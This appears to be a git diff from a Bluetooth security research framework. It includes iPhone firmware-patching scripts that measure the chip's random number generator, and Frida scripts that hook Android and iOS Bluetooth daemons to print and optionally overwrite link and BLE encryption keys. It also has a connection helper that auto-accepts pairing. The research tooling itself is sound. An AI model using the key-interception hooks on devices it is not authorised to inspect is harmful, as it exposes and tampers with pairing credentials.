internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 1000
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
internalblue.logger.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
@@ -201,7 +188,7 @@ while rounds > i:
|
||||
internalblue.rnd_done = False
|
||||
|
||||
# and now read and save the random
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
|
||||
|
||||
# do an immediate check to tell where the corruption happened
|
||||
check = random[4::5]
|
||||
@@ -210,7 +197,7 @@ while rounds > i:
|
||||
for c in check:
|
||||
pos = pos + 1
|
||||
if c != 0x42:
|
||||
log.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG+(pos*5)))
|
||||
internalblue.logger.warning(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG + (pos * 5)))
|
||||
failed = True
|
||||
break
|
||||
|
||||
@@ -221,22 +208,18 @@ while rounds > i:
|
||||
data.extend(random)
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
|
||||
|
||||
internalblue.logger.info("Finished acquiring random data!")
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
|
||||
|
||||
f = open("i6_randomdata-%irounds-%s.bin" % (rounds, datetime.now()), "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
internalblue.logger.info("--------------------")
|
||||
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
# enter CLI
|
||||
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
|
||||
sys.exit(cli.cmdloop())
|
||||
|
||||
+24
-39
@@ -3,15 +3,14 @@
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
from argparse import Namespace
|
||||
|
||||
from pwn import *
|
||||
from internalblue.ioscore import iOSCore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
from pwnlib.asm import asm
|
||||
|
||||
|
||||
|
||||
import internalblue.hci as hci
|
||||
from internalblue.cli import InternalBlueCLI
|
||||
from internalblue.ioscore import iOSCore
|
||||
|
||||
"""
|
||||
Measure the RNG of the iPhone 6.
|
||||
@@ -121,39 +120,29 @@ ASM_SNIPPET_RNG = """
|
||||
|
||||
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
|
||||
|
||||
|
||||
internalblue = iOSCore(log_level='info')
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("installing assembly patches...")
|
||||
|
||||
|
||||
internalblue.logger.info("installing assembly patches...")
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
internalblue.logger.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
# Install the RNG code in RAM (2nd step on iPhone to not disturb the readMemAligned snippet)
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
|
||||
internalblue.logger.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
|
||||
|
||||
|
||||
internalblue.logger.info("Installed all RNG hooks.")
|
||||
|
||||
"""
|
||||
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
|
||||
@@ -162,6 +151,8 @@ than polling a status register in the Bluetooth firmware itself.
|
||||
"""
|
||||
# global status
|
||||
internalblue.rnd_done = False
|
||||
|
||||
|
||||
def rngStatusCallback(record):
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
@@ -169,23 +160,19 @@ def rngStatusCallback(record):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
|
||||
log.debug("Random data done!")
|
||||
internalblue.logger.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 100
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
internalblue.logger.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
@@ -196,31 +183,29 @@ while rounds > i:
|
||||
internalblue.rnd_done = False
|
||||
|
||||
# and now read and save the random
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
|
||||
data.extend(random)
|
||||
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
internalblue.logger.info("Finished acquiring random data!")
|
||||
|
||||
# every 5th byte i 0x42
|
||||
check = data[4::5]
|
||||
for c in check:
|
||||
if c != 0x42:
|
||||
log.error("Data was corrupted by another process!")
|
||||
internalblue.logger.error("Data was corrupted by another process!")
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
|
||||
|
||||
f = open("i6_randomdata_pseudo-%irounds-reg0x%x.bin" % (rounds, PRAND), "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
internalblue.logger.info("--------------------")
|
||||
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
# enter CLI
|
||||
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
|
||||
sys.exit(cli.cmdloop())
|
||||
|
||||
+28
-40
@@ -3,16 +3,15 @@
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.ioscore import iOSCore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
from argparse import Namespace
|
||||
from datetime import datetime
|
||||
|
||||
import numpy as np
|
||||
from pwnlib.asm import asm
|
||||
|
||||
|
||||
import internalblue.hci as hci
|
||||
from internalblue.cli import InternalBlueCLI
|
||||
from internalblue.ioscore import iOSCore
|
||||
|
||||
"""
|
||||
Measure the RNG of the iPhone 7.
|
||||
@@ -126,47 +125,39 @@ ASM_SNIPPET_RNG = """
|
||||
|
||||
""" % (MEM_ROUNDS, MEM_RNG)
|
||||
|
||||
|
||||
internalblue = iOSCore(log_level='info')
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("installing assembly patches...")
|
||||
internalblue.logger.info("installing assembly patches...")
|
||||
|
||||
"""
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
internalblue.logger.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
"""
|
||||
|
||||
# Install the RNG code in RAM (2nd step on iPhone to not disturb the readMemAligned snippet)
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
|
||||
internalblue.logger.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
# iPhone 7 Launch_RAM fix: overwrite an unused HCI handler
|
||||
# Here it is not called within the handler table but within another function.
|
||||
patch = asm("b 0x%x" % ASM_LOCATION_RNG, vma=0x607AC)
|
||||
if not internalblue.patchRom(0x607AC, patch, 0): # use slot 0 and only slot 0
|
||||
log.critical("Could not implement our launch RAM fix!")
|
||||
if not internalblue.patchRom(0x607AC, patch, 0): # use slot 0 and only slot 0
|
||||
internalblue.logger.critical("Could not implement our launch RAM fix!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
|
||||
|
||||
|
||||
internalblue.logger.info("Installed all RNG hooks.")
|
||||
|
||||
"""
|
||||
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
|
||||
@@ -175,6 +166,8 @@ than polling a status register in the Bluetooth firmware itself.
|
||||
"""
|
||||
# global status
|
||||
internalblue.rnd_done = False
|
||||
|
||||
|
||||
def rngStatusCallback(record):
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
@@ -182,15 +175,14 @@ def rngStatusCallback(record):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
|
||||
log.debug("Random data done!")
|
||||
internalblue.logger.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
# cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
@@ -198,7 +190,7 @@ rounds = 1000
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
internalblue.logger.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
@@ -209,7 +201,7 @@ while rounds > i:
|
||||
internalblue.rnd_done = False
|
||||
|
||||
# and now read and save the random
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
|
||||
|
||||
# do an immediate check to tell where the corruption happened
|
||||
check = random[4::5]
|
||||
@@ -218,7 +210,7 @@ while rounds > i:
|
||||
for c in check:
|
||||
pos = pos + 1
|
||||
if c != 0x42:
|
||||
log.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG+(pos*5)))
|
||||
internalblue.logger.warning(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG + (pos * 5)))
|
||||
failed = True
|
||||
break
|
||||
|
||||
@@ -229,22 +221,18 @@ while rounds > i:
|
||||
data.extend(random)
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
|
||||
|
||||
internalblue.logger.info("Finished acquiring random data!")
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
|
||||
|
||||
f = open("i7_randomdata-%irounds-%s.bin" % (rounds, datetime.now()), "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
internalblue.logger.info("--------------------")
|
||||
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
# enter CLI
|
||||
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
|
||||
sys.exit(cli.cmdloop())
|
||||
|
||||
@@ -0,0 +1,149 @@
|
||||
/*
|
||||
Keychange
|
||||
|
||||
The Bluetooth chip cannot save its key internally, so it asks Android with
|
||||
the according HCI command, which we exchange.
|
||||
|
||||
Usage:
|
||||
|
||||
* Attach to existing daemon
|
||||
frida -U com.android.bluetooth --no-pause -l android_keychange.js
|
||||
*/
|
||||
|
||||
var swap_key = true; // actually swap the key (otherwise just prints the key)
|
||||
var debug = false; // enable/disable printing raw packets
|
||||
|
||||
// Addresses for Samsung Galaxy Note 20 5G January 2021
|
||||
var base = Module.getBaseAddress('libbluetooth.so');
|
||||
//var filter_incoming_event = base.add(0x2efcb4); // from hci_layer.cc
|
||||
var transmit_command = base.add(0x2f201c); // from hci_layer.cc
|
||||
|
||||
|
||||
/*
|
||||
Helper functions
|
||||
*/
|
||||
|
||||
function print_hex(byte_array) {
|
||||
var bytes_string = "";
|
||||
for (var i = 0; i < byte_array.length; i+=1) {
|
||||
bytes_string += ("00" + byte_array[i].toString(16)).substr(-2);
|
||||
}
|
||||
console.log('\t' + bytes_string);
|
||||
}
|
||||
|
||||
|
||||
function print_backtrace(ctx) {
|
||||
console.log('Backtrace:\n' +
|
||||
Thread.backtrace(ctx, Backtracer.ACCURATE)
|
||||
.map(DebugSymbol.fromAddress).join('\n') + '\n');
|
||||
}
|
||||
|
||||
/* *** Receiving direction ***
|
||||
Interceptor.attach(filter_incoming_event, {
|
||||
onEnter: function(args) {
|
||||
if (debug) {
|
||||
console.log("filter_incoming_event");
|
||||
}
|
||||
}
|
||||
});
|
||||
*/
|
||||
|
||||
|
||||
/*
|
||||
|
||||
We exchange the original key in the host's key response.
|
||||
|
||||
|
||||
static void transmit_command(BT_HDR* command,
|
||||
command_complete_cb complete_callback,
|
||||
command_status_cb status_callback, void* context)
|
||||
|
||||
|
||||
typedef struct {
|
||||
uint16_t event;
|
||||
uint16_t len;
|
||||
uint16_t offset;
|
||||
uint16_t layer_specific;
|
||||
uint8_t data[];
|
||||
} BT_HDR;
|
||||
*/
|
||||
Interceptor.attach(transmit_command, {
|
||||
onEnter: function(args) {
|
||||
|
||||
var BT_HDR = this.context.x0;
|
||||
|
||||
if (debug) {
|
||||
console.log("transmit_command");
|
||||
var event = BT_HDR.readU16();
|
||||
var len = BT_HDR.add(2).readU16();
|
||||
var offset = BT_HDR.add(4).readU16();
|
||||
var layer_specific = BT_HDR.add(6).readU16();
|
||||
|
||||
// I think the event is always BT_EVT_TO_LM_HCI_CMD = 0x2000
|
||||
console.log("event: " + event);
|
||||
console.log("len: " + len);
|
||||
console.log("off: " + offset);
|
||||
console.log("spec: " + layer_specific);
|
||||
|
||||
// When setting the name:
|
||||
// 00000000 13 0c f8 46 6f 6f 66 6f 6e 65 00 00 00 00 00 00 ...Foofone......
|
||||
// Write_Local_Name = 0xC13
|
||||
console.log(BT_HDR.add(8).readByteArray(len));
|
||||
}
|
||||
|
||||
|
||||
var hci_cmd = BT_HDR.add(8).readU16();
|
||||
|
||||
if (hci_cmd == 0x40b) {
|
||||
console.log("HCI_Link_Key_Request_Reply");
|
||||
|
||||
console.log(" * Intercepted address and key:");
|
||||
var data = new Uint8Array(BT_HDR.add(11).readByteArray(6+16)); // transform to normal array
|
||||
var bd_addr = data.slice(0,6);
|
||||
var link_key = data.slice(6);
|
||||
print_hex(bd_addr);
|
||||
print_hex(link_key);
|
||||
|
||||
if (swap_key) {
|
||||
console.log(" ! Replacing key with an invalid one.");
|
||||
BT_HDR.add(11+6).writeByteArray([0x13, 0x37, 0x42, 0x23, 0xde, 0xad, 0xbe, 0xef]); // just flipping a few bytes
|
||||
}
|
||||
}
|
||||
|
||||
// BLE with SMP on Mi Band 2 uses this
|
||||
|
||||
if (hci_cmd == 0x2019) {
|
||||
console.log("LE_Enable_Encryption");
|
||||
|
||||
console.log(" * Intercepted handle and key:");
|
||||
var hnd = new Uint8Array(BT_HDR.add(11).readByteArray(2)); // transform to normal array
|
||||
var link_key = new Uint8Array(BT_HDR.add(23).readByteArray(16));
|
||||
print_hex(hnd);
|
||||
print_hex(link_key);
|
||||
|
||||
if (swap_key) {
|
||||
console.log(" ! Replacing key with an invalid one.");
|
||||
BT_HDR.add(23).writeByteArray([0x13, 0x37, 0x42, 0x23, 0xde, 0xad, 0xbe, 0xef]); // just flipping a few bytes
|
||||
}
|
||||
}
|
||||
|
||||
// TODO Other BLE variant - didn't test it on any device yet
|
||||
|
||||
if (hci_cmd == 0x201a) {
|
||||
console.log("LE_Long_Term_Key_Request_Reply");
|
||||
|
||||
console.log(" * Intercepted handle and key:");
|
||||
var data = new Uint8Array(BT_HDR.add(11).readByteArray(2+16)); // transform to normal array
|
||||
var hnd = data.slice(0,2);
|
||||
var link_key = data.slice(2);
|
||||
print_hex(hnd);
|
||||
print_hex(link_key);
|
||||
|
||||
if (swap_key) {
|
||||
console.log(" ! Replacing key with an invalid one.");
|
||||
BT_HDR.add(11+2).writeByteArray([0x13, 0x37, 0x42, 0x23, 0xde, 0xad, 0xbe, 0xef]); // just flipping a few bytes
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
});
|
||||
@@ -0,0 +1,121 @@
|
||||
/*
|
||||
Keychange
|
||||
|
||||
The Bluetooth chip cannot save its key internally, so it asks iOS with
|
||||
the according HCI command, which we exchange.
|
||||
|
||||
Usage:
|
||||
|
||||
* Attach to existing daemon
|
||||
frida -U bluetoothd --no-pause -l ios_keychange.js
|
||||
*/
|
||||
|
||||
var swap_key = false; // actually swap the key (otherwise just prints the key)
|
||||
var debug = false; // enable/disable printing raw packets
|
||||
|
||||
|
||||
var base = Module.getBaseAddress('bluetoothd');
|
||||
|
||||
// *** SELECT YOUR IOS VERSION HERE ***
|
||||
// Functions contain function name strings, easy to determine.
|
||||
var OI_HCIIfc_DataReceived = base.add(0xee5a4); // iOS 14.1, iPhone 12
|
||||
// var OI_HCIIfc_DataReceived = base.add(0xed9f8); // iOS 14.8, iPhone 8
|
||||
// var OI_HCIIfc_DataReceived = base.add(0xed0b8); // iOS 14.4, iPhone 8
|
||||
// var OI_HCIIfc_DataReceived = base.add(0xee9f0); // iOS 14.3, iPhone 8 (18C66)
|
||||
// var OI_HCIIfc_DataReceived = base.add(0x108e04); // iOS 13.5, iPhone SE2
|
||||
|
||||
var OI_HciIfc_CopyPayload = base.add(0xe3d7c); // iOS 14.1, iPhone 12
|
||||
// var OI_HciIfc_CopyPayload = base.add(0xe3764); // iOS 14.8, iPhone 8
|
||||
// var OI_HciIfc_CopyPayload = base.add(0xe2ddc); // iOS 14.4, iPhone 8
|
||||
// var OI_HciIfc_CopyPayload = base.add(0xFE690); // iOS 13.5, iPhone SE2
|
||||
// var OI_HciIfc_CopyPayload = base.add(0xee9f0); // iOS 14.3, iPhone 8 (18C66)
|
||||
|
||||
var HCIIfc_src_ptr = base.add(0x671388); // iOS 14.1, iPhone 12
|
||||
// var HCIIfc_src_ptr = base.add(0x688518); // iOS 14.8, iPhone 8
|
||||
// var HCIIfc_src_ptr = base.add(0x654318); // iOS 14.4, iPhone 8
|
||||
// var HCIIfc_src_ptr = base.add(0x6118A0); // iOS 13.5, iPhone SE2
|
||||
|
||||
|
||||
// Helper function to print hex
|
||||
function print_hex(byte_array) {
|
||||
var bytes_string = "";
|
||||
for (var i = 0; i < byte_array.length; i+=1) {
|
||||
bytes_string += ("00" + byte_array[i].toString(16)).substr(-2);
|
||||
}
|
||||
console.log('\t' + bytes_string);
|
||||
}
|
||||
|
||||
// *** Receiving direction *** (Chip -> iOS)
|
||||
// OI_HCIIfc_DataReceived gets all packet types. It then calls
|
||||
// HCI/SCO/ACL in the next step, and with one function in between
|
||||
// ends up in OI_HCIIfc_AclPacketReceived (aka acl_recv).
|
||||
// We don't necessarily need this but at least we can print if a
|
||||
// key was requested.
|
||||
|
||||
Interceptor.attach(OI_HCIIfc_DataReceived, {
|
||||
onEnter: function(args) {
|
||||
|
||||
var h4t = parseInt(this.context.x0); // ACL/SCO/HCI
|
||||
var acl = this.context.x1;
|
||||
var len = parseInt(this.context.x2);
|
||||
if (debug) {
|
||||
console.log("OI_HCIIfc_DataReceived" + ", type " + h4t + ", len " + len);
|
||||
console.log(acl.readByteArray(len));
|
||||
}
|
||||
|
||||
// Uncomment this to filter for a specific type:
|
||||
// HCI: 0x01 (command, invalid in this direction)
|
||||
// ACL: 0x02
|
||||
// SCO: 0x03
|
||||
// HCI: 0x04 (events + BLE data, this is valid)
|
||||
// DIAG: 0x07 (should be disabled here)
|
||||
|
||||
//if (h4t == 4) {
|
||||
//}
|
||||
}
|
||||
});
|
||||
|
||||
// *** Sending direction *** (iOS -> Chip)
|
||||
// We need to exchange the original key here.
|
||||
var OI_HciIfc_CopyPayload_dst = 0;
|
||||
Interceptor.attach(OI_HciIfc_CopyPayload, {
|
||||
onEnter: function(args) {
|
||||
// save the payload pointer argument
|
||||
OI_HciIfc_CopyPayload_dst = this.context.x0;
|
||||
},
|
||||
onLeave: function(args) {
|
||||
|
||||
// Intercept all data from the global struct.
|
||||
// OI_HciIfc_CopyPayload doesn't intercept the H4 type but we
|
||||
// might want to distinguish between ACL/HCI/... for fuzzing.
|
||||
var h4t = HCIIfc_src_ptr.add(0x10).readU8();
|
||||
var hnd = HCIIfc_src_ptr.add(0x18).readU16();
|
||||
var len = HCIIfc_src_ptr.add(0x1c).readU16();
|
||||
|
||||
// This is the data. Depending on the H4 type, it needs to
|
||||
// be reassembled differently (different length positions etc.)
|
||||
var data = OI_HciIfc_CopyPayload_dst.readByteArray(len);
|
||||
|
||||
if (debug) {
|
||||
console.log("OI_HciIfc_CopyPayload, type " + h4t.toString(16) + ", cmd/hnd " + hnd.toString(16) + ", len " + len);
|
||||
console.log(data);
|
||||
}
|
||||
|
||||
if (h4t == 1 && hnd == 0x40b) {
|
||||
console.log("HCI_Link_Key_Request_Reply");
|
||||
|
||||
console.log(" * Intercepted address and key:")
|
||||
data = new Uint8Array(data); // transform to normal array
|
||||
var bd_addr = data.slice(0,6);
|
||||
var link_key = data.slice(6);
|
||||
print_hex(bd_addr);
|
||||
print_hex(link_key);
|
||||
|
||||
if (swap_key) {
|
||||
console.log(" ! Replacing key with an invalid one.")
|
||||
OI_HciIfc_CopyPayload_dst.add(6).writeByteArray([0x13, 0x37, 0x42, 0x23, 0xde, 0xad, 0xbe, 0xef]); // just flipping a few bytes
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
});
|
||||
@@ -3,25 +3,28 @@
|
||||
# connections. in general, it is very basic and offers the bare minimum
|
||||
# to semi-reliably hold an active l2cap channel.
|
||||
|
||||
import time
|
||||
import binascii
|
||||
import struct
|
||||
import threading
|
||||
import time
|
||||
|
||||
from pwnlib import log
|
||||
|
||||
from pwn import *
|
||||
import internalblue.hci as hci
|
||||
from internalblue.utils.packing import p8, p16
|
||||
|
||||
CONNECTION_TYPE_CLASSIC = 0
|
||||
CONNECTION_TYPE_BLE = 1
|
||||
|
||||
class BluetoothConnection:
|
||||
|
||||
class BluetoothConnection:
|
||||
def __init__(self, core, bd_addr, reconnect=1, keepalive=True, timeout=5):
|
||||
self.core = core
|
||||
self.core = core
|
||||
self.remote_addr = bd_addr
|
||||
self.reconnect = reconnect
|
||||
self.keepalive = keepalive
|
||||
self.timeout = timeout
|
||||
|
||||
|
||||
# the handle also determines whether there is currently an active connection
|
||||
self.handle = None
|
||||
self.aclHandlers = []
|
||||
@@ -59,7 +62,7 @@ class BluetoothConnection:
|
||||
event = h4_record.event_code
|
||||
hci_data = h4_record.data
|
||||
status = hci_data[0]
|
||||
|
||||
|
||||
# connection complete event
|
||||
if event == 3:
|
||||
# connection complete - sucess
|
||||
@@ -78,7 +81,7 @@ class BluetoothConnection:
|
||||
log.info("Disconnected from " + binascii.hexlify(self.remote_addr).decode("utf-8"))
|
||||
if self.reconnect_counter < self.reconnect:
|
||||
log.info("Trying to reconnect (attempt %d of %d)", self.reconnect_counter,
|
||||
self.reconnect)
|
||||
self.reconnect)
|
||||
# wait a second, otherwise we sometimes don't get the connection complete event...
|
||||
time.sleep(1)
|
||||
self.connect()
|
||||
@@ -86,11 +89,11 @@ class BluetoothConnection:
|
||||
# authentication complete
|
||||
elif event == 6:
|
||||
# workaround as there is apparently a bug in pythons struct
|
||||
(status, ) = struct.unpack_from("b", hci_data)
|
||||
(handle, ) = struct.unpack_from("h", hci_data[1:])
|
||||
(status,) = struct.unpack_from("b", hci_data)
|
||||
(handle,) = struct.unpack_from("h", hci_data[1:])
|
||||
|
||||
log.info("got Authentication Complete from handle %s, status: %d", hex(handle),
|
||||
status)
|
||||
status)
|
||||
if status == 0:
|
||||
# authentication was successful, now set connection encryption
|
||||
self.core.sendHciCommand(0x0413, p16(handle) + "\x01")
|
||||
@@ -98,21 +101,21 @@ class BluetoothConnection:
|
||||
if self.encryption_callback:
|
||||
self.encryption_callback()
|
||||
pass
|
||||
else:
|
||||
else:
|
||||
handle = 0
|
||||
# encryption change complete
|
||||
elif event == 8:
|
||||
(handle, encrypt) = struct.unpack_from("hb", hci_data)
|
||||
log.info("Got Encryption Change Complete from handle %s, encrypt: %d", hex(handle),
|
||||
encrypt)
|
||||
encrypt)
|
||||
# pin code request
|
||||
elif event == 0x16:
|
||||
(bd_addr, ) = struct.unpack_from("6s", hci_data)
|
||||
(bd_addr,) = struct.unpack_from("6s", hci_data)
|
||||
log.info("Got Pin Code Request for %s", binascii.hexlify(bd_addr).decode("utf-8"))
|
||||
self.core.sendHciCommand(0x040d, bd_addr + "\x00" + "\x41"*0x10)
|
||||
self.core.sendHciCommand(0x040d, bd_addr + "\x00" + "\x41" * 0x10)
|
||||
# link key request
|
||||
elif event == 0x17:
|
||||
(bd_addr, ) = struct.unpack_from("6s", hci_data)
|
||||
(bd_addr,) = struct.unpack_from("6s", hci_data)
|
||||
log.info("Got Link Key request from %s", binascii.hexlify(bd_addr).decode("utf-8"))
|
||||
# link keys are not really implemented yet, just return a random link key
|
||||
self.core.sendHciCommand(0x040b, bd_addr + bytes.fromhex("0d2017c7f90a78cefeeed32210e6519a"))
|
||||
@@ -125,7 +128,7 @@ class BluetoothConnection:
|
||||
else:
|
||||
# send negative link key reply, we don't have a key
|
||||
self.core.sendHciCommand(0x040c, bd_addr)
|
||||
|
||||
|
||||
# link key notification
|
||||
elif event == 0x18:
|
||||
(bd_addr, link_key) = struct.unpack_from("6s16s", hci_data)
|
||||
@@ -133,20 +136,20 @@ class BluetoothConnection:
|
||||
self.link_keys[bd_addr] = link_key
|
||||
# io capability request
|
||||
elif event == 0x31:
|
||||
(bd_addr, ) = struct.unpack_from("6s", hci_data)
|
||||
(bd_addr,) = struct.unpack_from("6s", hci_data)
|
||||
log.info("Got IO capability request from %s", binascii.hexlify(bd_addr).decode("utf-8"))
|
||||
# pretend to not have a display or oob data present
|
||||
# no display: 0x03, no oob: 0x00, auth requirements: 0x02
|
||||
self.core.sendHciCommand(0x042b, bd_addr + "\x03\x00\x02")
|
||||
# user confirmation request
|
||||
elif event == 0x33:
|
||||
(bd_addr, ) = struct.unpack_from("6s", hci_data)
|
||||
(bd_addr,) = struct.unpack_from("6s", hci_data)
|
||||
log.info("Got user confirmation request from %s", binascii.hexlify(bd_addr).decode("utf-8"))
|
||||
# we just accept any confirmation requests
|
||||
self.core.sendHciCommand(0x42c, bd_addr)
|
||||
# simple pairing complete
|
||||
elif event == 0x36:
|
||||
(bd_addr, ) = struct.unpack_from("6s", hci_data)
|
||||
(bd_addr,) = struct.unpack_from("6s", hci_data)
|
||||
log.info("Got simple pairing complete from %s", binascii.hexlify(bd_addr).decode("utf-8"))
|
||||
# le event
|
||||
# everything from le lands here...
|
||||
@@ -225,8 +228,8 @@ class BluetoothConnection:
|
||||
|
||||
log.info("Connection timeout")
|
||||
if self.reconnect_counter < self.reconnect:
|
||||
log.info("Trying to reconnect (attempt %d of %d)", self.reconnect_counter,
|
||||
self.reconnect)
|
||||
log.info("Trying to reconnect (attempt %d of %d)", self.reconnect_counter,
|
||||
self.reconnect)
|
||||
self.reconnect_counter += 1
|
||||
status = self.connect()
|
||||
else:
|
||||
@@ -236,7 +239,6 @@ class BluetoothConnection:
|
||||
log.info("Connection successful")
|
||||
if self.connection_callback:
|
||||
self.connection_callback()
|
||||
status = True
|
||||
status = True
|
||||
|
||||
return status
|
||||
|
||||
|
||||
@@ -2,17 +2,17 @@
|
||||
|
||||
# Dennis Heinze
|
||||
|
||||
import sys
|
||||
import time
|
||||
import os
|
||||
import binascii
|
||||
import struct
|
||||
|
||||
from pwnlib import log
|
||||
|
||||
from internalblue.utils.packing import p16
|
||||
|
||||
from pwn import *
|
||||
|
||||
class L2CAPManager:
|
||||
|
||||
def __init__(self, btconn, mtu=0x30):
|
||||
self.connection = btconn
|
||||
self.connection = btconn
|
||||
|
||||
self.connection.registerACLHandler(self._receptionHandler)
|
||||
|
||||
@@ -37,7 +37,7 @@ class L2CAPManager:
|
||||
|
||||
